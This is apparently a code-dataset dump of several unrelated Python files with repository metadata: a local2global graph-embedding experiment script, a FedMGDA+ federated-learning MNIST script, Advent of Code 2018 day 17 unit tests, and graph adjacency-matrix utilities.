cluster_file.is_file(): clusters = torch.load(cluster_file) else: clusters = cluster_fun() torch.save(clusters, cluster_file) patch_folder = output_folder / f'{args.data}_{cluster_string}_{sp_string}_mo{min_overlap}_to{target_overlap}_patches' patch_data, patch_graph = prepare_patches( output_folder=patch_folder, data=data, partition_tensor=clusters, min_overlap=min_overlap, target_overlap=target_overlap, sparsify_method=args.sparsify, gamma=args.gamma, target_patch_degree=args.target_patch_degree, verbose=args.verbose) if args.verbose: print(f'total edges: {data.num_edges}') print(f'total patch edges: {sum(c.num_edges for c in patch_data)}') if args.no_features: data.x = speye(data.num_nodes) # add identity as node features for training full model # compute baseline full model if necessary baseline_file = output_folder / f'{basename}_full_info.json' training_args = {'lr': args.lr, 'num_epochs': args.num_epochs, 'hidden_multiplier': args.hidden_multiplier} if baseline_file.is_file(): baseline_data = ResultsDict.load(baseline_file) else: baseline_data = ResultsDict() for d in dims: r = baseline_data.runs(d) if r < runs: if args.verbose: print(f'training full model for {runs-r} runs and d={d}') for r_it in range(r, runs): if args.verbose: print(f"full model (d={d}) run {r_it + 1} of {runs}") data = data.to(args.device) model = train(data, VGAE_model(d, d * args.hidden_multiplier, data.num_features, dist=args.dist).to(args.device), loss_fun=VGAE_loss, num_epochs=num_epochs, lr=args.lr, verbose=args.verbose, ) coords = embedding(model, data) auc = reconstruction_auc(coords, data, dist=args.dist) if auc > baseline_data.max_auc(d): if args.verbose: print(f"new best (auc={auc})") torch.save(model.state_dict(), output_folder / f'{basename}_full_d{d}_best_model.pt') torch.save(coords, output_folder / f'{basename}_full_d{d}_best_coords.pt') baseline_data.update_dim(d, [auc], training_args) baseline_data.save(baseline_file) results_file = patch_folder / f'{basename}_l2g_info.json' nt_results_file = patch_folder / f'{basename}_nt_info.json' if results_file.is_file(): results = ResultsDict.load(results_file, replace=True) else: results = ResultsDict(replace=True) if nt_results_file.is_file(): nt_results = ResultsDict.load(nt_results_file, replace=True) else: nt_results = ResultsDict(replace=True) for d in dims: patch_list = [] update_aligned_embedding = False for p_ind, patch in enumerate(patch_data): patch_result_file = patch_folder / f'{basename}_patch{p_ind}_info.json' if patch_result_file.is_file(): patch_results = ResultsDict.load(patch_result_file) else: patch_results = ResultsDict() coords_file = patch_folder / f'{basename}_patch{p_ind}_d{d}_best_coords.pt' if coords_file.is_file(): best_coords = torch.load(coords_file) r = patch_results.runs(d) if args.no_features: patch.x = speye(patch.num_nodes) if r < runs: if args.verbose: print(f'training patch{p_ind} for {runs-r} runs and d={d}') patch = patch.to(args.device) for r_it in range(r, runs): if args.verbose: print(f"patch{p_ind} (d={d}) run {r_it+1} of {runs}") model = train(patch, VGAE_model(d, d * args.hidden_multiplier, patch.num_features, dist=args.dist).to(args.device), loss_fun=VGAE_loss, num_epochs=num_epochs, lr=args.lr, ) coords = embedding(model, patch) auc = reconstruction_auc(coords, patch, dist=args.dist) if auc > patch_results.max_auc(d): if args.verbose: print(f"new best (auc={auc})") best_coords = coords torch.save(model.state_dict(), patch_folder / f'{basename}_patch{p_ind}_d{d}_best_model.pt') torch.save(best_coords, coords_file) update_aligned_embedding = True patch_results.update_dim(d, [auc], training_args) patch_results.save(patch_result_file) patch_list.append(l2g.Patch(patch.nodes.cpu().numpy(), best_coords.cpu().numpy())) patched_embedding_file = patch_folder / f'{basename}_d{d}_coords.pt' patched_embedding_file_nt = patch_folder / f'{basename}_d{d}_ntcoords.pt' if update_aligned_embedding or not patched_embedding_file.is_file(): prob = l2g.WeightedAlignmentProblem(patch_list, patch_edges=patch_graph.edges()) ntcoords = prob.mean_embedding() coords = prob.get_aligned_embedding() torch.save(coords, patched_embedding_file) torch.save(ntcoords, patched_embedding_file_nt) results.update_dim(d, [reconstruction_auc(torch.as_tensor(coords), data, neg_edges, dist=args.dist)]) nt_results.update_dim(d, [reconstruction_auc(torch.as_tensor(ntcoords), data, neg_edges, dist=args.dist)]) results.save(results_file) nt_results.save(nt_results_file) baseline_data = baseline_data.reduce_to_dims(dims) results = results.reduce_to_dims(dims) nt_results = nt_results.reduce_to_dims(dims) if args.plot: plt.figure() plt.plot(dims, [max(v) for v in baseline_data['auc']], label='full, inner product', marker='o', color='tab:blue') plt.plot(dims, results['auc'], '--', label='l2g, inner product', marker='>', color='tab:blue') plt.plot(dims, nt_results['auc'], ':', label='no-trans, inner product', color='tab:blue', linewidth=1) plt.xscale('log') plt.xticks(dims, dims) plt.minorticks_off() plt.xlabel('embedding dimension') plt.ylabel('AUC') plt.legend() oversampling_ratio = sum(p.num_edges for p in patch_data) / data.num_edges plt.title(f"oversampling ratio: {oversampling_ratio:.2}, #patches: {len(patch_data)}") plt.savefig(output_folder / f"{basename}_{cluster_string}_{sp_string}_mo{min_overlap}_to{target_overlap}.pdf") plt.show() if __name__ == '__main__': # run main script args = _parser.parse_args() run(**vars(args))

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import argparse import json from pathlib import Path from bisect import bisect_left import torch import torch_geometric as tg import matplotlib.pyplot as plt import local2global as l2g from local2global_embedding.embedding import speye, train, embedding, VGAE_model, VGAE_loss, reconstruction_auc from local2global_embedding.network import largest_connected_component, TGraph from local2global_embedding.patches import create_patch_data from local2global_embedding.clustering import distributed_clustering, fennel_clustering, louvain_clustering, metis_clustering class ResultsDict: @classmethod def load(cls, filename, replace=False): self = cls(replace=replace) with open(filename) as f: self._data.update(json.load(f)) return self def save(self, filename): with open(filename, 'w') as f: json.dump(self._data, f) def __init__(self, replace=False): self._data = {'dims': [], 'auc': [], 'args': []} self.replace = replace def __getitem__(self, item): return self._data[item] def _update_index(self, index, aucs: list, args=None): if self.replace: self['auc'][index] = aucs self['args'][index] = args else: self['auc'][index].extend(aucs) self['args'][index].extend([args] * len(aucs)) def _insert_index(self, index: int, dim: int, aucs: list, args=None): self['auc'].insert(index, aucs) self['dims'].insert(index, dim) self['args'].insert(index, [args] * len(aucs)) def update_dim(self, dim, aucs, args=None): index = bisect_left(self['dims'], dim) if index < len(self['dims']) and self['dims'][index] == dim: self._update_index(index, aucs, args) else: self._insert_index(index, dim, aucs, args) def max_auc(self, dim=None): if dim is None: return [max(aucs) for aucs in self['auc']] else: index = bisect_left(self['dims'], dim) if index < len(self['dims']) and self['dims'][index] == dim: return max(self['auc'][index]) else: return 0. def contains_dim(self, dim): index = bisect_left(self['dims'], dim) return index < len(self['dims']) and self['dims'][index] == dim def reduce_to_dims(self, dims): index = [i for i, d in enumerate(dims) if self.contains_dim(d)] for key1 in self._data: if isinstance(self._data[key1], list): self._data[key1] = [self[key1][i] for i in index] return self def runs(self, dim=None): if dim is None: return [len(x) for x in self['auc']] else: index = bisect_left(self['dims'], dim) if index < len(self['dims']) and self['dims'][index] == dim: return len(self['auc'][index]) else: return 0 _dataloaders = {} def dataloader(name): def loader(func): _dataloaders[name] = func return func return loader @dataloader('Cora') def _load_cora(): return tg.datasets.Planetoid(name='Cora', root='/tmp/cora')[0] @dataloader('PubMed') def _load_pubmed(): return tg.datasets.Planetoid(name='PubMed', root='/tmp/pubmed')[0] @dataloader('AMZ_computers') def _load_amazon_computers(): return tg.datasets.Amazon(root='/tmp/amazon', name='Computers')[0] @dataloader('AMZ_photo') def _load_amazon_photos(): return tg.datasets.Amazon(root='/tmp/amazon', name='photo')[0] def load_data(name): data = _dataloaders[name]() data = largest_connected_component(data=data) data.num_nodes = data.x.shape[0] return data load_data.__doc__ = load_data.__doc__.format(names=list(_dataloaders.keys())) def prepare_patches(output_folder, **kwargs): output_folder = Path(output_folder) if output_folder.is_dir(): patch_graph = torch.load(output_folder / 'patch_graph.pt') patch_data = [torch.load(output_folder / f"patch{i}.pt") for i in range(patch_graph.num_nodes)] else: patch_data, patch_graph = create_patch_data(**kwargs) output_folder.mkdir(parents=True) torch.save(patch_graph, output_folder / 'patch_graph.pt') for i, data in enumerate(patch_data): torch.save(data, output_folder / f'patch{i}.pt') return patch_data, patch_graph def csvlist(input_type=str): def make_list(input_str): return [input_type(s) for s in input_str.split(',')] make_list.__doc__ = f""" argparse type that parses comma separated list of type {input_type} Args: input_str: string to be parsed Returns: list of elements of type {input_type} """ return make_list _parser = argparse.ArgumentParser(description="Run training example.") _parser.add_argument('--data', default='Cora', choices=_dataloaders.keys(), help='Dataset to load') _parser.add_argument('--no_features', action='store_true', help='Discard features and use node identity.') _parser.add_argument('--num_epochs', type=int, default=200, help='Number of training epochs') _parser.add_argument('--runs', type=int, default=10, help='Number of training runs (keep best result)') _parser.add_argument('--dims', type=csvlist(int), default=[2], help='Embedding dimensions (comma-separated)') _parser.add_argument('--hidden_multiplier', type=int, default=2, help='Hidden dim is `hidden_multiplier` * `dim`') _parser.add_argument('--target_patch_degree', type=float, default=4.0, help='Target patch degree for sparsification.') _parser.add_argument('--min_overlap', type=int, default=None, help='Minimum target patch overlap (defaults to `max(dims) + 1`)') _parser.add_argument('--target_overlap', type=int, default=None, help='Target patch overlap (defaults to twice `min_overlap`)') _parser.add_argument('--gamma', type=float, default=0.0, help="Value of 'gamma' for RMST sparsification.") _parser.add_argument('--sparsify', default='resistance', help="Sparsification method to use.", choices={'resistance', 'rmst', 'none'}) _parser.add_argument('--cluster', default='metis', choices={'louvain', 'distributed', 'fennel', 'metis'}, help="Clustering method to use") _parser.add_argument('--num_clusters', default=10, type=int, help="Target number of clusters for fennel, or metis.") _parser.add_argument('--beta', default=0.1, type=float, help="Beta value for distributed") _parser.add_argument('--num_iters', default=None, type=int, help="Maximum iterations for distributed or fennel (default depends on method choice)") _parser.add_argument('--lr', default=0.01, type=float, help='Learning rate') _parser.add_argument('--dist', action='store_true', help='use distance decoder instead of inner product decoder') _parser.add_argument('--output', default='.', help='output folder') _parser.add_argument('--device', default=None, help="Device used for training e.g., 'cpu', 'cuda'") _parser.add_argument('--plot', action='store_true', help='Plot embedding performance') _parser.add_argument('--verbose', action='store_true', help='Show progress info') def run(**kwargs): args = _parser.parse_args([]) for key, value in kwargs.items(): if key in args: setattr(args, key, value) else: raise TypeError(f'Unknown argument {key}') output_folder = Path(args.output) data = load_data(args.data) neg_edges = tg.utils.negative_sampling(data.edge_index, data.num_nodes) graph = TGraph(data.edge_index, data.edge_attr) basename = args.data dims = args.dims num_epochs = args.num_epochs runs = args.runs min_overlap = args.min_overlap if args.min_overlap is not None else max(dims) + 1 target_overlap = args.target_overlap if args.target_overlap is not None else 2 * max(dims) if args.no_features: data.x = None basename += '_no_features' if args.dist: basename += '_dist' if args.sparsify == 'resistance': sp_string = f"resistance_deg{args.target_patch_degree}" elif args.sparsify == 'rmst': sp_string = f"rmst_gamma{args.gamma}" elif args.sparsify == 'none': sp_string = "no_sparsify" else: raise RuntimeError(f"Unknown sparsification method '{args.sparsify}'.") if args.cluster == 'louvain': cluster_fun = lambda: louvain_clustering(graph) cluster_string = 'louvain' elif args.cluster == 'distributed': cluster_fun = lambda: distributed_clustering(graph, args.beta, rounds=args.num_iters) cluster_string = f'distributed_beta{args.beta}_it{args.num_iters}' elif args.cluster == 'fennel': cluster_fun = lambda: fennel_clustering(graph, num_clusters=args.num_clusters, randomise_order=True, num_iters=args.num_iters) cluster_string = f"fennel_n{args.num_clusters}_it{args.num_iters}" elif args.cluster == 'metis': cluster_fun = lambda: metis_clustering(graph, num_clusters=args.num_clusters) cluster_string = f"metis_n{args.num_clusters}" else: raise RuntimeError(f"Unknown cluster method '{args.cluster}'.") cluster_file = output_folder / f"{args.data}_{cluster_string}_clusters.pt" if cluster_file.is_file(): clusters = torch.load(cluster_file) else: clusters = cluster_fun() torch.save(clusters, cluster_file) patch_folder = output_folder / f'{args.data}_{cluster_string}_{sp_string}_mo{min_overlap}_to{target_overlap}_patches' patch_data, patch_graph = prepare_patches( output_folder=patch_folder, data=data, partition_tensor=clusters, min_overlap=min_overlap, target_overlap=target_overlap, sparsify_method=args.sparsify, gamma=args.gamma, target_patch_degree=args.target_patch_degree, verbose=args.verbose) if args.verbose: print(f'total edges: {data.num_edges}') print(f'total patch edges: {sum(c.num_edges for c in patch_data)}') if args.no_features: data.x = speye(data.num_nodes) baseline_file = output_folder / f'{basename}_full_info.json' training_args = {'lr': args.lr, 'num_epochs': args.num_epochs, 'hidden_multiplier': args.hidden_multiplier} if baseline_file.is_file(): baseline_data = ResultsDict.load(baseline_file) else: baseline_data = ResultsDict() for d in dims: r = baseline_data.runs(d) if r < runs: if args.verbose: print(f'training full model for {runs-r} runs and d={d}') for r_it in range(r, runs): if args.verbose: print(f"full model (d={d}) run {r_it + 1} of {runs}") data = data.to(args.device) model = train(data, VGAE_model(d, d * args.hidden_multiplier, data.num_features, dist=args.dist).to(args.device), loss_fun=VGAE_loss, num_epochs=num_epochs, lr=args.lr, verbose=args.verbose, ) coords = embedding(model, data) auc = reconstruction_auc(coords, data, dist=args.dist) if auc > baseline_data.max_auc(d): if args.verbose: print(f"new best (auc={auc})") torch.save(model.state_dict(), output_folder / f'{basename}_full_d{d}_best_model.pt') torch.save(coords, output_folder / f'{basename}_full_d{d}_best_coords.pt') baseline_data.update_dim(d, [auc], training_args) baseline_data.save(baseline_file) results_file = patch_folder / f'{basename}_l2g_info.json' nt_results_file = patch_folder / f'{basename}_nt_info.json' if results_file.is_file(): results = ResultsDict.load(results_file, replace=True) else: results = ResultsDict(replace=True) if nt_results_file.is_file(): nt_results = ResultsDict.load(nt_results_file, replace=True) else: nt_results = ResultsDict(replace=True) for d in dims: patch_list = [] update_aligned_embedding = False for p_ind, patch in enumerate(patch_data): patch_result_file = patch_folder / f'{basename}_patch{p_ind}_info.json' if patch_result_file.is_file(): patch_results = ResultsDict.load(patch_result_file) else: patch_results = ResultsDict() coords_file = patch_folder / f'{basename}_patch{p_ind}_d{d}_best_coords.pt' if coords_file.is_file(): best_coords = torch.load(coords_file) r = patch_results.runs(d) if args.no_features: patch.x = speye(patch.num_nodes) if r < runs: if args.verbose: print(f'training patch{p_ind} for {runs-r} runs and d={d}') patch = patch.to(args.device) for r_it in range(r, runs): if args.verbose: print(f"patch{p_ind} (d={d}) run {r_it+1} of {runs}") model = train(patch, VGAE_model(d, d * args.hidden_multiplier, patch.num_features, dist=args.dist).to(args.device), loss_fun=VGAE_loss, num_epochs=num_epochs, lr=args.lr, ) coords = embedding(model, patch) auc = reconstruction_auc(coords, patch, dist=args.dist) if auc > patch_results.max_auc(d): if args.verbose: print(f"new best (auc={auc})") best_coords = coords torch.save(model.state_dict(), patch_folder / f'{basename}_patch{p_ind}_d{d}_best_model.pt') torch.save(best_coords, coords_file) update_aligned_embedding = True patch_results.update_dim(d, [auc], training_args) patch_results.save(patch_result_file) patch_list.append(l2g.Patch(patch.nodes.cpu().numpy(), best_coords.cpu().numpy())) patched_embedding_file = patch_folder / f'{basename}_d{d}_coords.pt' patched_embedding_file_nt = patch_folder / f'{basename}_d{d}_ntcoords.pt' if update_aligned_embedding or not patched_embedding_file.is_file(): prob = l2g.WeightedAlignmentProblem(patch_list, patch_edges=patch_graph.edges()) ntcoords = prob.mean_embedding() coords = prob.get_aligned_embedding() torch.save(coords, patched_embedding_file) torch.save(ntcoords, patched_embedding_file_nt) results.update_dim(d, [reconstruction_auc(torch.as_tensor(coords), data, neg_edges, dist=args.dist)]) nt_results.update_dim(d, [reconstruction_auc(torch.as_tensor(ntcoords), data, neg_edges, dist=args.dist)]) results.save(results_file) nt_results.save(nt_results_file) baseline_data = baseline_data.reduce_to_dims(dims) results = results.reduce_to_dims(dims) nt_results = nt_results.reduce_to_dims(dims) if args.plot: plt.figure() plt.plot(dims, [max(v) for v in baseline_data['auc']], label='full, inner product', marker='o', color='tab:blue') plt.plot(dims, results['auc'], '--', label='l2g, inner product', marker='>', color='tab:blue') plt.plot(dims, nt_results['auc'], ':', label='no-trans, inner product', color='tab:blue', linewidth=1) plt.xscale('log') plt.xticks(dims, dims) plt.minorticks_off() plt.xlabel('embedding dimension') plt.ylabel('AUC') plt.legend() oversampling_ratio = sum(p.num_edges for p in patch_data) / data.num_edges plt.title(f"oversampling ratio: {oversampling_ratio:.2}, #patches: {len(patch_data)}") plt.savefig(output_folder / f"{basename}_{cluster_string}_{sp_string}_mo{min_overlap}_to{target_overlap}.pdf") plt.show() if __name__ == '__main__': args = _parser.parse_args() run(**vars(args))

true

790b08bb6917d38a656b112ba98748029b3f9856

5,030

py

Python

fedlab_benchmarks/fedmgda+/standalone.py

KarhouTam/FedLab-benchmarks

6de0ca56f645794ca7eae0f19c6b0117165d3404

[ "Apache-2.0" ]

null

fedlab_benchmarks/fedmgda+/standalone.py

KarhouTam/FedLab-benchmarks

6de0ca56f645794ca7eae0f19c6b0117165d3404

[ "Apache-2.0" ]

null

fedlab_benchmarks/fedmgda+/standalone.py

KarhouTam/FedLab-benchmarks

6de0ca56f645794ca7eae0f19c6b0117165d3404

[ "Apache-2.0" ]

null

from json import load import os import argparse import random from copy import deepcopy import torchvision import torchvision.transforms as transforms from torch import nn import sys import torch import numpy as np import cvxopt torch.manual_seed(0) from fedlab.core.client.serial_trainer import SubsetSerialTrainer from fedlab.utils.aggregator import Aggregators from fedlab.utils.serialization import SerializationTool from fedlab.utils.functional import evaluate from fedlab.utils.functional import get_best_gpu, load_dict sys.path.append("../") from models.cnn import CNN_MNIST def quadprog(Q, q, G, h, A, b): """ Input: Numpy arrays, the format follows MATLAB quadprog function: https://www.mathworks.com/help/optim/ug/quadprog.html Output: Numpy array of the solution """ Q = cvxopt.matrix(Q.tolist()) q = cvxopt.matrix(q.tolist(), tc='d') G = cvxopt.matrix(G.tolist()) h = cvxopt.matrix(h.tolist()) A = cvxopt.matrix(A.tolist()) b = cvxopt.matrix(b.tolist(), tc='d') sol = cvxopt.solvers.qp(Q, q.T, G.T, h.T, A.T, b) return np.array(sol['x']) def optim_lambdas(gradients, lambda0): epsilon = 0.5 n = len(gradients) J_t = [grad.numpy() for grad in gradients] J_t = np.array(J_t) # target function Q = 2 * np.dot(J_t, J_t.T) q = np.array([[0] for i in range(n)]) # equality constrint A = np.ones(n).T b = np.array([1]) # boundary lb = np.array([max(0, lambda0[i] - epsilon) for i in range(n)]) ub = np.array([min(1, lambda0[i] + epsilon) for i in range(n)]) G = np.zeros((2 * n, n)) for i in range(n): G[i][i] = -1 G[n + i][i] = 1 h = np.zeros((2 * n, 1)) for i in range(n): h[i] = -lb[i] h[n + i] = ub[i] res = quadprog(Q, q, G, h, A, b) return res # python standalone.py --sample_ratio 0.1 --batch_size 10 --epochs 5 --partition iid # configuration parser = argparse.ArgumentParser(description="Standalone training example") parser.add_argument("--total_client", type=int, default=10) parser.add_argument("--com_round", type=int, default=5) parser.add_argument("--sample_ratio", type=float) parser.add_argument("--batch_size", type=int) parser.add_argument("--lr", type=float) parser.add_argument("--epochs", type=int) args = parser.parse_args() # get raw dataset root = "../datasets/mnist/" trainset = torchvision.datasets.MNIST(root=root, train=True, download=True, transform=transforms.ToTensor()) testset = torchvision.datasets.MNIST(root=root, train=False, download=True, transform=transforms.ToTensor()) test_loader = torch.utils.data.DataLoader(testset, batch_size=len(testset), drop_last=False, shuffle=False) # setup os.environ["CUDA_VISIBLE_DEVICES"] = "0,1,2,3" gpu = get_best_gpu() model = CNN_MNIST().cuda(gpu) # FL settings num_per_round = int(args.total_client * args.sample_ratio) aggregator = Aggregators.fedavg_aggregate total_client_num = args.total_client # client总数 data_indices = load_dict("./mnist_noniid.pkl") # fedlab setup local_model = deepcopy(model) trainer = SubsetSerialTrainer(model=local_model, dataset=trainset, data_slices=data_indices, aggregator=aggregator, args={ "batch_size": args.batch_size, "epochs": args.epochs, "lr": args.lr }) dynamic_lambdas = np.ones(num_per_round) * 1.0 / num_per_round # train procedure to_select = [i for i in range(total_client_num)] for round in range(args.com_round): model_parameters = SerializationTool.serialize_model(model) selection = random.sample(to_select, num_per_round) parameters = trainer.train(model_parameters=model_parameters, id_list=selection, aggregate=False) gradients = [model_parameters - model for model in parameters] for i, grad in enumerate(gradients): gradients[i] = grad / grad.norm() print(len(gradients)) print(gradients[0].shape) # calculate lamda lambda0 = [1.0 / num_per_round for _ in range(num_per_round)] dynamic_lambdas = torch.Tensor(optim_lambdas(gradients, lambda0)).view(-1) dt = Aggregators.fedavg_aggregate(gradients, dynamic_lambdas) serialized_parameters = model_parameters - dt * args.lr SerializationTool.deserialize_model(model, serialized_parameters) criterion = nn.CrossEntropyLoss() loss, acc = evaluate(model, criterion, test_loader) print("loss: {:.4f}, acc: {:.2f}".format(loss, acc))

34.689655

123

0.615706

from json import load import os import argparse import random from copy import deepcopy import torchvision import torchvision.transforms as transforms from torch import nn import sys import torch import numpy as np import cvxopt torch.manual_seed(0) from fedlab.core.client.serial_trainer import SubsetSerialTrainer from fedlab.utils.aggregator import Aggregators from fedlab.utils.serialization import SerializationTool from fedlab.utils.functional import evaluate from fedlab.utils.functional import get_best_gpu, load_dict sys.path.append("../") from models.cnn import CNN_MNIST def quadprog(Q, q, G, h, A, b): Q = cvxopt.matrix(Q.tolist()) q = cvxopt.matrix(q.tolist(), tc='d') G = cvxopt.matrix(G.tolist()) h = cvxopt.matrix(h.tolist()) A = cvxopt.matrix(A.tolist()) b = cvxopt.matrix(b.tolist(), tc='d') sol = cvxopt.solvers.qp(Q, q.T, G.T, h.T, A.T, b) return np.array(sol['x']) def optim_lambdas(gradients, lambda0): epsilon = 0.5 n = len(gradients) J_t = [grad.numpy() for grad in gradients] J_t = np.array(J_t) Q = 2 * np.dot(J_t, J_t.T) q = np.array([[0] for i in range(n)]) A = np.ones(n).T b = np.array([1]) lb = np.array([max(0, lambda0[i] - epsilon) for i in range(n)]) ub = np.array([min(1, lambda0[i] + epsilon) for i in range(n)]) G = np.zeros((2 * n, n)) for i in range(n): G[i][i] = -1 G[n + i][i] = 1 h = np.zeros((2 * n, 1)) for i in range(n): h[i] = -lb[i] h[n + i] = ub[i] res = quadprog(Q, q, G, h, A, b) return res parser = argparse.ArgumentParser(description="Standalone training example") parser.add_argument("--total_client", type=int, default=10) parser.add_argument("--com_round", type=int, default=5) parser.add_argument("--sample_ratio", type=float) parser.add_argument("--batch_size", type=int) parser.add_argument("--lr", type=float) parser.add_argument("--epochs", type=int) args = parser.parse_args() root = "../datasets/mnist/" trainset = torchvision.datasets.MNIST(root=root, train=True, download=True, transform=transforms.ToTensor()) testset = torchvision.datasets.MNIST(root=root, train=False, download=True, transform=transforms.ToTensor()) test_loader = torch.utils.data.DataLoader(testset, batch_size=len(testset), drop_last=False, shuffle=False) os.environ["CUDA_VISIBLE_DEVICES"] = "0,1,2,3" gpu = get_best_gpu() model = CNN_MNIST().cuda(gpu) num_per_round = int(args.total_client * args.sample_ratio) aggregator = Aggregators.fedavg_aggregate total_client_num = args.total_client data_indices = load_dict("./mnist_noniid.pkl") local_model = deepcopy(model) trainer = SubsetSerialTrainer(model=local_model, dataset=trainset, data_slices=data_indices, aggregator=aggregator, args={ "batch_size": args.batch_size, "epochs": args.epochs, "lr": args.lr }) dynamic_lambdas = np.ones(num_per_round) * 1.0 / num_per_round to_select = [i for i in range(total_client_num)] for round in range(args.com_round): model_parameters = SerializationTool.serialize_model(model) selection = random.sample(to_select, num_per_round) parameters = trainer.train(model_parameters=model_parameters, id_list=selection, aggregate=False) gradients = [model_parameters - model for model in parameters] for i, grad in enumerate(gradients): gradients[i] = grad / grad.norm() print(len(gradients)) print(gradients[0].shape) lambda0 = [1.0 / num_per_round for _ in range(num_per_round)] dynamic_lambdas = torch.Tensor(optim_lambdas(gradients, lambda0)).view(-1) dt = Aggregators.fedavg_aggregate(gradients, dynamic_lambdas) serialized_parameters = model_parameters - dt * args.lr SerializationTool.deserialize_model(model, serialized_parameters) criterion = nn.CrossEntropyLoss() loss, acc = evaluate(model, criterion, test_loader) print("loss: {:.4f}, acc: {:.2f}".format(loss, acc))

true

790b090b063c370e613c4b73471668b127b66fc5

1,354

py

Python

test/test_day17.py

frangiz/AdventOfCode2018

dffbc0a8467d3c31678d9719923c461b0b12d67f

[ "MIT" ]

null

test/test_day17.py

frangiz/AdventOfCode2018

dffbc0a8467d3c31678d9719923c461b0b12d67f

[ "MIT" ]

null

test/test_day17.py

frangiz/AdventOfCode2018

dffbc0a8467d3c31678d9719923c461b0b12d67f

[ "MIT" ]

null

"""The tests for day17.""" from days import day17 from ddt import ddt, data, unpack import unittest import helpers @ddt class MyTestCase(unittest.TestCase): # noqa D101 @data( [[ 'x=495, y=2..7', 'y=7, x=495..501', 'x=501, y=3..7', 'x=498, y=2..4', 'x=506, y=1..2', 'x=498, y=10..13', 'x=504, y=10..13', 'y=13, x=498..504'], '57']) @unpack def test_example_a(self, test_input, expected): # noqa D102 result = day17.part_a(test_input) self.assertEqual(result, expected) def test_answer_part_a(self): # noqa D102 result = day17.part_a(helpers.get_file_contents('day17.txt')) self.assertEqual(result, '38021') @data( [[ 'x=495, y=2..7', 'y=7, x=495..501', 'x=501, y=3..7', 'x=498, y=2..4', 'x=506, y=1..2', 'x=498, y=10..13', 'x=504, y=10..13', 'y=13, x=498..504'], '29']) @unpack def test_example_b(self, test_input, expected): # noqa D102 result = day17.part_b(test_input) self.assertEqual(result, expected) def test_answer_part_b(self): # noqa D102 result = day17.part_b(helpers.get_file_contents('day17.txt')) self.assertEqual(result, '32069')

28.808511

69

0.521418

from days import day17 from ddt import ddt, data, unpack import unittest import helpers @ddt class MyTestCase(unittest.TestCase): @data( [[ 'x=495, y=2..7', 'y=7, x=495..501', 'x=501, y=3..7', 'x=498, y=2..4', 'x=506, y=1..2', 'x=498, y=10..13', 'x=504, y=10..13', 'y=13, x=498..504'], '57']) @unpack def test_example_a(self, test_input, expected): result = day17.part_a(test_input) self.assertEqual(result, expected) def test_answer_part_a(self): result = day17.part_a(helpers.get_file_contents('day17.txt')) self.assertEqual(result, '38021') @data( [[ 'x=495, y=2..7', 'y=7, x=495..501', 'x=501, y=3..7', 'x=498, y=2..4', 'x=506, y=1..2', 'x=498, y=10..13', 'x=504, y=10..13', 'y=13, x=498..504'], '29']) @unpack def test_example_b(self, test_input, expected): result = day17.part_b(test_input) self.assertEqual(result, expected) def test_answer_part_b(self): result = day17.part_b(helpers.get_file_contents('day17.txt')) self.assertEqual(result, '32069')

true

790b090f6347653937f7ebcfb73826e6f1050b01

3,483

py

Python

utils/graph_utils.py

BrunoKM/rhoana_graph_tools

7150f4bc6337ecf51dd9123cf03561a57d655160

[ "MIT" ]

1

2018-08-17T00:12:30.000Z

utils/graph_utils.py

BrunoKM/rhoana_graph_tools

7150f4bc6337ecf51dd9123cf03561a57d655160

[ "MIT" ]

null

utils/graph_utils.py

BrunoKM/rhoana_graph_tools

7150f4bc6337ecf51dd9123cf03561a57d655160

[ "MIT" ]

1

2019-05-19T07:08:54.000Z

import numpy as np import networkx as nx if __name__ == '__main__': from ged4py.algorithm import graph_edit_dist else: from .ged4py.algorithm import graph_edit_dist def rearrange_adj_matrix(matrix, ordering): assert matrix.ndim == 2 # Check that matrix is square assert matrix.shape[0] == matrix.shape[1] num_nodes = matrix.shape[0] assert len(ordering) == num_nodes # Swap rows into correct ordering matrix = matrix[ordering, :] # Swap columns into correct ordering matrix = matrix[:, ordering] return matrix def rand_permute_adj_matrix(matrix): """Randomly permute the order of vertices in the adjacency matrix, while maintaining the connectivity between them.""" num_vertices = matrix.shape[0] rand_order = np.arange(num_vertices) np.random.shuffle(rand_order) matrix_permuted = rearrange_adj_matrix(matrix, rand_order) return matrix_permuted def ged_from_adj(adj_mat_1, adj_mat_2, directed=False, ged_function=graph_edit_dist.compare): """Calculate the graph edit distance between two graphs""" if directed: create_using = nx.DiGraph else: create_using = nx.Graph g1 = nx.from_numpy_matrix(adj_mat_1, create_using=create_using()) g2 = nx.from_numpy_matrix(adj_mat_2, create_using=create_using()) return ged_function(g1, g2) def ged_from_adj_nx(adj_mat_1, adj_mat_2, directed=False): """Calculate the graph edit distance between two graphs using the networkx implementation""" return ged_from_adj(adj_mat_1, adj_mat_2, directed=directed, ged_function=nx.graph_edit_distance) def ged_from_adj_ged4py(adj_mat_1, adj_mat_2, directed=False): """Calculate the graph edit distance between two graphs using the ged4py implementation""" return ged_from_adj(adj_mat_1, adj_mat_2, directed=directed, ged_function=graph_edit_dist.compare) def is_isomorphic_from_adj(adj_mat_1, adj_mat_2): """Checks whether two graphs are isomorphic taking adjacency matrices as inputs""" g1 = nx.from_numpy_matrix(adj_mat_1, create_using=nx.DiGraph()) g2 = nx.from_numpy_matrix(adj_mat_2, create_using=nx.DiGraph()) return nx.is_isomorphic(g1, g2) def adj_matrix_to_edge_list(adj_matrix, directed=True, first_id=0, weighted=False): num_nodes = adj_matrix.shape[0] if directed: num_edges = np.sum(adj_matrix) else: num_edges = int(np.sum(adj_matrix) / 2) if weighted: edge_list = np.zeros([num_edges, 3], dtype=np.int32) else: edge_list = np.zeros([num_edges, 2], dtype=np.int32) i = 0 for node_in in range(num_nodes): if directed: range_2 = range(num_nodes) else: range_2 = range(node_in + 1, num_nodes) for node_out in range_2: edge_val = adj_matrix[node_in, node_out] if edge_val > 0: # If there is a connection if weighted: edge_list[i] = (node_in + first_id, node_out + first_id, edge_val) else: edge_list[i] = (node_in + first_id, node_out + first_id) i += 1 return edge_list def edge_list_to_textfile(edge_list, filepath, weighted=False): with open(filepath, 'w') as file: if weighted: for i, j, weight in edge_list: file.write(f"{i} {j} {weight}\n") else: for i, j in edge_list: file.write(f"{i} {j}\n") return

34.147059

105

0.676715

